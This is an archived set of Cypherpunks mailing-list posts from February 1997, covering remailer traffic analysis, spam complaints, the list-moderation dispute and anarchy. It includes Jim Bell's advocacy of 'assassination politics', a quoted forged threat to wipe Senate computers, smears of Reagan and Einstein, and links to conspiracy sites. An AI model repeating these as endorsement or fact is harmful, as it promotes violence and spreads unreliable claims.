> > someone who could only be you -> d ->
alt.drugs.and-other-various-horsemen
> 
> This is assuming that it is a reasonable assumption that all traffic
going
> through remailer c originated from the owner.  If there is one
non-corrupt
> remailer in the chain before c, then this would not be a valid assumption
> because traffic from the owner would be indistinguishable from traffic
sent
> by anyone else.  If the remailer has low traffic, the solution is, of
course,
> to make it higher traffic.  Chain a bunch of messages that get sent to
> /dev/null through the remailers, being sure to include c somewhere in the
> middle of the chain.  If Mixmaster is used, then it would be virtually
> impossible to differentiate between "real" messages and messages destined
for
> /dev/null.  It would be a little easier with Type I since the size of the
> ciphertext decreases after each hop.  This all assumes that encryption is
being
> used, of course.
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
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> =BqMW
> -----END PGP SIGNATURE-----
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:12:11 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111412.GAA19423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ok...this is the fourth junk e-mail I've received that I don't want.  Your
account is in jeapordy, and my advice is for you to just stop sending me
this junk.  Take me off your e-mail list, NOW.  
If this e-mail from me, being mad at you, is what makes you happy, and is
how you have fun, then you just have a personal problem and I feel sorry
for you.  
Do what you can to heal yourself...meanwhile, don't send me anymore...your
isp provider is next on my e-mail list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: Against Moderation <antimod@nym.alias.net>; InterNet Freedom Council
<ifc@pgh.org>
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 10:54 AM
> 
> ??? wrote:
> 
> [some text deleted]
> 
> > > Before I explain what has happened, I want to make one thing
> > > absolutely clear.  Though I've thought the moderation of cypherpunks
> > > was a terrible idea from the start and am even more convinced of it
> > > now, I don't assign any blame to Sandy.  I believe he offered to
> > > moderate the list with the best of intentions, and I sincerely
> > > appreciate his efforts to try to revive what was once a fantastic
> > > mailing list, even if in my opinion those efforts have backfired.
> 
> This is the fatal mistake, assuming it's really a mistake.
> I've worked under several corporations where, at a certain
> point in time, things just "went crazy", and the owners/
> managers were scrambling desperately to plug as many holes
> in the dike as they possibly could, to no avail.
> 
> People don't understand why things just "go crazy" at a particular
> point, and so they accept the coincidence theory ruse, lacking any
> other evidence.  Use your head, folks.  This is not a list made up
> of sewing-circle nannies, these are security people, NSA, CIA, and
> all the ugly things you shut out of your conversations because you
> don't want to admit the truth.  "Paranoia is a way of knowing".
> 
> Today I saw an old picture of Albert Einstein in full Indian regalia,
> smoking a peace pipe with some Hopi people.  I thought of the Capone
> mob and the "kiss of death", or Judas and Jesus, you get the picture.
> 
> So Einstein puts his name and reputation and personal seal of approval
> on the creation of the Doomsday Device, the atom bomb, knowing full
> well that it will be used to murder millions of people. What does he
> do for an encore?  Plants the "kiss of death" on the Hopis, whose
> environment is co-opted by the mad bombers and their Nazi-infested
> thug "scientist" cohorts, for the experimentation and storage of
> nuclear and other hazardous materials.  You know, Nevada, Arizona,
> New Mexico, all those "useless, desert lands" occupied by the
> Indians.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com
Subject: Re: Internet Alert! Pay for local dial-up??
Message-ID: <199702111411.GAA19287@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Take me off your list or I will complain to your isp.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: E-Mail Communications <freedom@econopromo.com>
> Subject: Re: Internet Alert! Pay for local dial-up??
> Date: Saturday, February 08, 1997 11:09 AM
> 
> E-Mail Communications wrote:
> 
> > See our "Patriotic Quotes That Make Sense"
> > at the end of this publication.
> 
> > "We will always remember.  We will always be proud.  We will
> > always be prepared, so we may always be free."
> > -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France
> 
> What Ronald Reagan didn't say (but what he really meant):
> 
> "I come here to Bitburg to honor the fallen Nazis, because I am in
> fact an honorary Nazi myself. Just ask my personal secretary Helen,
> who used to work for Fritz Kraemer."
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:10:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junk e-mails
Message-ID: <199702111410.GAA19177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm receiving a bunch of inane e-mails from your domain.   Could you please
put a stop to it?  It's coming to all of my e-mail addresses, including the
one below.
2ndSun@bigfoot.com-------------------------------------------------
---------------------------------------Learning to Remember
the Future---http://www.geocities.com/HotSprings/5335






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST)
To: Jerry Basham <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111411.GAA19288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jerry Basham wrote:

> Ok...this is the fourth junk e-mail I've received that I don't want.  Your
> account is in jeapordy, and my advice is for you to just stop sending me
> this junk.  Take me off your e-mail list, NOW.
> If this e-mail from me, being mad at you, is what makes you happy, and is
> how you have fun, then you just have a personal problem and I feel sorry
> for you.
> Do what you can to heal yourself...meanwhile, don't send me anymore...your
> isp provider is next on my e-mail list.

Jerry, my provider is GTE, and if you think you can make a dent in
them, go ahead and butt your head against the wall.  No sweat offa
my ass.

OTOH, if you stop bitching and groaning long enough to figure out
who is doing the remailing etc., then you'll be miles ahead.  I'm
not optimistic.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IconOfSin <ios@idirect.com>
Date: Tue, 11 Feb 1997 06:11:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fw: Internet Alert! Pay for local dial-up??
Message-ID: <199702111411.GAA19295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	

----------
> From: E-Mail Communications <freedom@econopromo.com>
> To: you@alberta.sallynet.com
> Subject: Internet  Alert!    Pay for local dial-up??
> Date: Saturday, February 08, 1997 7:09 PM
> 
> 
> *****************************************
> 
> INTERNET USERS ALERT!!!   It has come to our attention that several
> local telephone companies have petitioned the FCC for permission
> to charge Internet Users by the minute for  LOCAL  dial-up telephone 
> service.  This would affect every Internet User, including those
> using AOL dial-up. 
> 
> For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
> Please send an E-Mail to  isp@fcc.gov
> to express your outrage at the idea of allowing telephone companies
> to charge by the minute for LOCAL dial-up service.  E-Mail comments
> must be sent by Feb. 13th, 1997.  This affects every Internet user!!

The question is.... "what can *WE* do.

IconOfSin

Fly DALnet!  /server irc.dal.net 7000
Msg IconOfSin :)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:12:15 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702111412.GAA19434@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:35 AM 2/6/97 -0600, snow wrote:
>> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>> >+   Is the desire for an anarchic community at odds with a desire for 
>> >+   good use of resources?
>> Actually, it is quite possible that an "anarchic community" is _more_ 
>> efficient in the use of resources than some sort of organized community.    
>> It is explained, for example, that the reason there are so many different 
>> kinds of life on earth is that there are so many ecological niches to 
fill.  
>
>     Good does not necessarily mean efficient, and efficient does not
>necessarily mean good. 

Since the definition of "good" above wasn't specified, I substituted 
"efficient."


>    Picture--if you can--the "perfect" centrally planned economy where all
>possible market conditions, wants and needs are taken into account. Factories
>are placed optimally for access to natural resources and distribution to 
>consumers etc. Also assume that the people running this society _are_ 
intersted
>in efficient production methods, and activly look for new and better ways of 
>getting things done--benign facism/socialism if you will. This would 
(assuming 
>perfect people, but bear with me) be the _most efficient_ method of producing 
>and delivering goods, but it would introduce certain "choke points", one 
>natural disaster or war could cripple production of necessary items. 

Let me suggest, however, that in addition to the "choke point" problem, it 
is also impossible, maybe even theoretically so, for a similar reason 
"Maxwell's Demon" is.

Maxwell's Demon, for those unfamiliar with thermodynamics, was a gate which 
was postulated to allow the passage of molecules of energy greater than 
average, and stop the passage of molecules of energy less than average.  The 
net result would have been, theoretically, a separation of a gas into two 
halves of dramatically different temperatures.

However, given such a heat separation, it should be possible through some 
heat engine to extract energy from this difference, and return the  gas to 
its prior statistical distribution of energies.  Was this "something from 
nothing"?

Obviously this appeared to be a serious contradiction, given the various 
laws of thermodynamics, and it was.  It turns out that the source of the 
contradiction is the false presumption, implied above, that it is possible 
to identify and thus separate molecules without using appreciable amounts of 
energy.  Perhaps not surprisingly, the amount of energy needed to do the 
separation is at least as great as whatever amount of energy you could 
theoretically extract from the system, almost magically balancing the books.

I suggest that centrally-planned economic theory may fail for a very similar 
reason:  Implicit in that analysis it is assume that it is possible to do a 
"cost-free" plan, where in reality costs do occur.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:10:54 -0800 (PST)
To: sandfort@crl.com
Subject: Re: MODERATION
Message-ID: <199702111410.GAA19191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	While I ultimately concluded it (or at least the manner of doing it)
was a bad idea, I am appreciative of the effort. I hope this won't discourage
you too much from trying out other (hopefully better) ideas.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@jolietjake.com>
Date: Tue, 11 Feb 1997 06:12:23 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702111412.GAA19459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <199702051706.JAA01075@toad.com> "Attila T. Hun" <attila@primenet.com> writes:

   From: "Attila T. Hun" <attila@primenet.com>
   Date: Wed, 05 Feb 97 14:41:32 +0000
   X-From-Line: attila@primenet.com  Thu Feb  6 15:02:07 1997
   X-VM-v5-Data: ([nil t nil nil nil nil nil nil nil]
	   ["2456" "Wed" "5" "February" "1997" "14:41:32" "+0000" "Attila T. Hun" "attila@primenet.com" "<199702051706.JAA01075@toad.com>" "57" "Re: John's: In anarchy -everyone responsible" nil nil nil "2" "1997020514:41:32" "John's: In anarchy -everyone responsible" (number " " mark "U    Attila T. Hun     Feb  5   57/2456  " thread-indent "\"Re: John's: In anarchy -everyone responsible\"\n") nil]
	   nil)
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk
   Lines: 57
   X-Gnus-Article-Number: 23   Fri Feb  7 00:40:14 1997

   -----BEGIN PGP SIGNED MESSAGE-----

   on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

   +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

   +>        In a "popular" anarchy, Jim Bell's assassination politics make
   +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

   +I guess I don't understand the distinction you are trying to make,
   +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
   +to distinguish  between "dictatorship of the few (or one)" and
   +"dictatorship of the many (perhaps a  majority)" but it didn't come out
   +very understandably.

   +Put simply, "anarchy is not the lack of order.  It is the lack of
   +_orders_."

       disagree. pure anarchy is not the lack of "orders" --pure anarchy 
       implies that everyone is imbued with that perfect sense of 
       responsibility.

   +>        anarchy is only possible in an ideal world where _everyone_ 
   +>    assumes not only responsibility for themselves, but for the common 
   +>    good.  no malice, no greed, no need for assassination politics....

   +No, that's traditional thinking and that's wrong.  See AP part 8. 
   +Freud  believed (as "everyone" else believed, even myself, before AP)
   +that anarchy  was inherently unstable.  But it ISN'T, if the tools of
   +AP are used to  stabilize it.  And no, no altruism is necessary for AP
   +to work as well; no  individuals are being asked to sacrifice
   +themselves for the common good.    Rather, they are given the
   +opportunity to work to achieve a reward offered,  cumulatively, by a
   +number of citizens.

       aah, but that is the difference between a _pure_ anarchy and a  
       _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
       that _noone_ lacks the necessary resonsibility to keep society 
       moving, each individual in their own niche.  As long as there is 
       perfect responsibility in a perfect anarchy, then there is no need 
       for AP.

       AP is a negative, or _punative_, influence; I might liken it to the 
       Catholic Church which is a religion of fear, and an instrument of
       political control.

   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.3i
   Charset: latin1
   Comment: No safety this side of the grave. Never was; never will be

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   rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
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   -----END PGP SIGNATURE-----



-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com><omega@bigeasy.com) 
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Agre <pagre@weber.ucsd.edu>
Date: Tue, 11 Feb 1997 06:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111410.GAA19204@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You have plenty of choice.  If you don't like our country, move somewhere
else.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 11 Feb 1997 06:12:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702111412.GAA19466@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


NEW ATTACK ON CP LIST


>Date: Sun, 9 Feb 1997 03:55:04 -0500
>From: Linda Thompson <lindat@iquest.net>
>To: robert@iquest.net
>Cc: aen-news@aen.org
>Subject: URGENT
>
>Someone is sending THREATS to the President and Senate and using *MY*
>name
>and account to do it.  One bounced and was sent to me.  You should be
>able
>to find out where it came from by the message I.D.  I think it is
>EXTREMELY
>important that you find out where this came from!!
>
>Also, earlier in the day, I got a message that I was subscribed by
>"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
>would
>bet that whoever did THAT also sent this message.
>
>Here's the threat message:
>
>Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
>Delivered-To: lindat@iquest.net
>Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
>Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
>  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
>Received: by fcaglp.fcaglp.unlp.edu.ar
>	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
>Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
>Subject: Returned mail: User unknown
>To: lindat@iquest.net
>X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
>Status: U
>
>   ----- Transcript of session follows -----
>550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
>
>   ----- Unsent message follows -----
>Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
>	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
>Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: lindat@iquest.net
>Return-Path: <lindat@iquest.net>
>Cc: Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
>        sessions@wrldnet.net, senator@shelby.senate.gov,
>        senator@bumpers.senate.gov, info@kyl.senate.gov,
>        Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
>        senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
>        senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
>        bob_graham@graham.senate.gov, connie@mack.senate.gov,
>        senator_coverdell@coverdell.senate.gov,
>senator@inouye.senate.gov,
>        tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
>        larry_craig@craig.senate.gov,
>dirk_kempthorne@kempthorne.senate.gov
>Cc: senator@moseley-braun.senate.gov, lugar@iquest.net,
>        wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
>        senator@breaux.senate.gov, senator@kennedy.senate.gov,
>        john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
>        senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
>        senator@levin.senate.gov, michigan@abraham.senate.gov,
>        mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
>        john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
>        senator@cochran.senate.gov, max@baucus.senate.gov,
>        conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
>        jesse_helms@helms.senate.gov
>Cc: senator@conrad.senate.gov, senator@dorgan.senate.gov,
>email@hagel96.com,
>        bob@kerrey.senate.gov, mailbox@gregg.senate.gov,
>        opinion@smith.senate.gov, frank_lautenberg@lautenberg.senate.gov,
>        torricel@torricelli.com, Senator_Bingaman@bingaman.senate.gov,
>        senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
>        senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
>        senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
>        senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
>        senator@wyden.senate.gov, senator@santorum.senate.gov,
>        senator_specter@specter.senate.gov,
>senator_chafee@chafee.senate.gov
>Cc: reed@collegehill.com, senator@thurmond.senate.gov,
>        senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
>        senator_thompson@thompson.senate.gov,
>senator_frist@frist.senate.gov,
>        senator@hutchison.senate.gov, senator@bennett.senate.gov,
>        senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
>        senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
>        vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
>        Senator_Gorton@gorton.senate.gov,
>russell_feingold@feingold.senate.gov,
>        senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
>        senator@rockefeller.senate.gov, mike@enzi.senate.gov,
>        craig@thomas.senate.gov
>Reply-To: lindat@iquest.net
>Return-Receipt-To: lindat@iquest.net
>Comment: Authenticated sender is <lindat@iquest.net>
>Subject: message to USSA Senate
>
>All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems.
>
>
>============================================
>
>Here's the message I got from the Cypherpunks list:
>
>Return-Path: <Majordomo-Owner@toad.com>
>Delivered-To: lindat@iquest.net
>Received: (qmail 12722 invoked from network); 8 Feb 1997 20:33:18 -0000
>Received: from toad.com (140.174.2.1)
>  by iquest3.iquest.net with SMTP; 8 Feb 1997 20:33:17 -0000
>Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
>MAA01758;
>Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Date: Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Message-Id: <199702082009.MAA01758@toad.com>
>To: lindat@iquest.net
>From: Majordomo@toad.com
>Subject: Your Majordomo request results: subscribe cypherpunks
>Reply-To: Majordomo@toad.com
>X-UIDL: 52470737060e1f8e3e1776eae6a3d6ee
>
>--
>
>Your request of Majordomo was:
>>>>> subscribe cypherpunks
>Succeeded.
>Your request of Majordomo was:
>>>>> 
>Your request of Majordomo was:
>>>>> 
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>TERRORISM INTELLIGENCE ANALYST
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:26:00 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: MODERATION
Message-ID: <199702111426.GAA19721@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> While I ultimately concluded it (or at least the manner of doing it)
> was a bad idea, I am appreciative of the effort. I hope this won't discourage
> you too much from trying out other (hopefully better) ideas.

Great idea, Allen.  The fox only ate *some* of the chickens first
time around, but let's train the fox a little, and then throw him
into the chicken coop for round two.  Like, fer sure.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 11 Feb 1997 06:10:59 -0800 (PST)
To: Phil Agre <pagre@weber.ucsd.edu>
Subject: Re: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111410.GAA19213@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Love it or leave it?"

bd

On Sun, 9 Feb 1997, Phil Agre wrote:

> You have plenty of choice.  If you don't like our country, move somewhere
> else.
> 
> Phil
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Tue, 11 Feb 1997 06:26:14 -0800 (PST)
Subject: Ken Bass Interview Schedule Corrections
Message-ID: <199702111426.GAA19767@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Schedule Correction ***

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

>> *** Monday, Feb. 10  ***  <<   Note the date correction
   *** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book. 

See http://isptv.digex.net/real.time.html for more information about "Real
Time" 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 06:26:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Who's Censoring Who?
Message-ID: <199702111426.GAA19804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy's e-mailed several of us who've sent messages about Vulis's
ploy to put Sandy in a conflict-of-interest bind -- a well-known attack 
on moderators of all kinds, not just on the net. 

What's worth admiring is how Vulis has adeptly managed to get others
 -- targets and witting and unwitting cohorts -- to go along with his attack, 
attack, attack, by opposing or supporting it. A useful lesson.

Smart dude, that Vulis, but no more so than others on the Net, say, Tim
May, and in the world who've done the same elsewhere, maybe 
by even smarter dude(s) who provoked, angered, insulted, an unwitting 
Vulis, or May, to attack on behalf of ... 

But such deception is to be expected, along with feigned suprise and
outrage at the unfairness of opponents fighting as dirty as one's own
pure-blackhearts.

Sandy's not censoring cypherpunks, nor is Vulis or May or any single 
person alone. As Pogo said, it's all of us, posters and lurkers and spooks, 
each trying to get one's way to prevail, under guise of a high principle not 
easily honored when the squeeze is on alone in a dark cell. Come on out
Sandy, it was just a drill.

It's probably worth saving accusations of censorship for the real thing, 
after trial usage here for what is truly nasty high-stakes global info-war 
gaming.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:26:06 -0800 (PST)
To: bdolan@USIT.NET
Subject: Re: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111426.GAA19743@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"bdolan@USIT.NET"  "Brad Dolan"  9-FEB-1997 10:35:16.85

>"Love it or leave it?"

>On Sun, 9 Feb 1997, Phil Agre wrote:

>> You have plenty of choice.  If you don't like our country, move somewhere
>> else.

	I made the point back to Dr. Agre that I can't choose to live in
_no_ country (at least not practically), but I can (except for state-imposed
limits) live without automobile insurance. I already do so for credit cards,
except for one I use only in emergencies.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Tue, 11 Feb 1997 06:27:26 -0800 (PST)
Subject: The Konformist Takes Care Of The Stray Dogs
Message-ID: <199702111427.GAA20000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

I figure this is a good time to pass info and thanks.

>From Evan Soule:
O.K.  Here is is. I recently discovered the location of this site(s).

I do not explicitly know who created it, and in this regard it is a rather
mysterious site as you may also find:

The Sites:  http://www.freedom-server.co.uk/Essays.html
            http://www.freedom-server.co.uk/Contents.html
            http://www.freedom-server.co.uk/Glossary.html
            http://www.freedom-server.co.uk/index.html

Robalini's Note: for a good collection of Libertarian essays, this is a good
place to go.


From: pentiumpower@internetx.net (pentiumpower)

SURF ANONYMOUSLY --> http://www.anonymizer.com

WACO-THE TRUTH-DON'T PASS THIS UP! --> 
http://206.55.8.10/SkyWriter/WacoMuseum
TWA 800-THE TRUTH --> http://www.erols.com/igoddard/twa-fact.htm
OKC/WTC-THE TRUTH --> http://www.erols.com/igoddard/facts.htm
GWS & LOTS MORE-THE TRUTH --> http://www.cco.net/~trufax
My page --> http://www.geocities.com/CapitolHill/3101/

Robalini's Note: All of these, are, in my book, A++ sites.


>From my wacky Uncle Markie (who was a Deadhead before all the
Starbuck-quaffing trendies jumped on the bandwagon), proving interest in this
stuff is genetically linked:

http://www.alienmap.com/

Here are two sites I haven't checked yet, but come highly recommended:

haigt asbury
http://www.webcom.com/haight
?
http://www.mk.net/~mcf

Then there is Parascope, at http://www.parascope.com.  I didn't mention it
before, since, on AOL, I don't access it by the web.  I was a little
skeptical when it started (would AOL really have a good site that bucks the
waves), but they've shown they are their own bosses.  For general conspiracy
info and the like, it is right up there with Jonathon Vankin's and John
Whalen's 50 Greatest Conspiracies of All Time site.

And, last but not least:

Lisa Pease
www.webcom.com/lpease

Yeah, I've mentioned it before, but I've gotten a few emails thanking me for
mentioning her site.  No surprise: I found out about it from her postings on
the Alt.conspiracy.JFK newsgroup, where she shows herself to be one of the
few really good writers on the web.

And now, some special other thanks.

First, to Claire Gilbert, Publisher of "Blazing Tattles", which originated as
an investigation on the burning oil and Gulf War Syndrome.  It now
specializes in investigations of health related matters.  She sent me a free
copy, and it was good enough for me to subscribe, with articles on the
benefits of the Zone Diet, the dangers of margarine, and more GWS news.  You
can reach "Blazing Tattles" for more info at:

 Claire W. Gilbert, Ph.D., Publisher, Blazing Tattles
           P.O. Box 1073, Half Moon Bay, CA 94019, USA
                       Phone: 415-712-0772
   Email: <blazing@crl.com>     FAX: 415-712-8547 (call first)

To Kenn Thomas at Steamshovel Press, which is a great model for any
underground magazine.  Issue 15 came out recently, with, among other things,
a great article on the Nation of Islam's connections to neo-Nazi group, a
book excerpt of Thomas and Jim Keith's book "The Octopus", a look in on other
theories of the cause of AIDS, and a wonderful interview with the late great
Timothy Leary.  Mr. Thomas has been a great supporter of mine, and I really
appreciate it.  For info, email him at:

skthoma@umslvma.umsl.edu

Deep River Books in Santa Monica is the best little book store you will ever
find.  It has books the corporate store, with their gazillion book titles,
won't dare touch.  The owner is a real cool dude.  You can reach them at
(310) 451-1224, or by email or web at:
dpriver@leonardo.net
http://www.leonardo,net/deepriver/index.html

Also, my pal (and business partner), Scott Rose.  You can reach him at his
vanity-plate named site at:
Scott@ScottWorld.Com
In the L.A. area, Scott is the premier Filemaker Database maker, bar none
(though I often help him out.)  Email him, or call him at (213) 954-1978 for
details.  (Scott, you owe me a dinner for this.)

And, as many of the readers of the Konformist are libertarians, I mention the
best libertarian commentator on the web, bar none:  L. Neil Smith.  He wrote
the Lando Calrissian Star Wars book trilogy (which I'm currently reading),
and his fiction is even better than his non-fiction.  You can reach the guy
at:

boardman@blackhole.dimensional.com

Special thanks to Alex Constantine and Adam Parfrey for continued
correspondance and support.  Feral House Press has an incredible collection
of books.  You can reach Adam at Feral Press at:

feralhouse@aol.com

Other thanks to:
FAIR (Fairness and Accuracy in Media)
fair@igc.apc.org

The Church of the Subgenius and Grand Master Ivan Stang:
i.stang@metronet.com

MindNet Journal for its positive feedback and reporting on mind control and
brainwashing experiments:
MindNet@c2.org 

James Pinkerton, who proves that not all L.A. Time commentators are mindless
robots:
pinkerto@ix.netcom.com

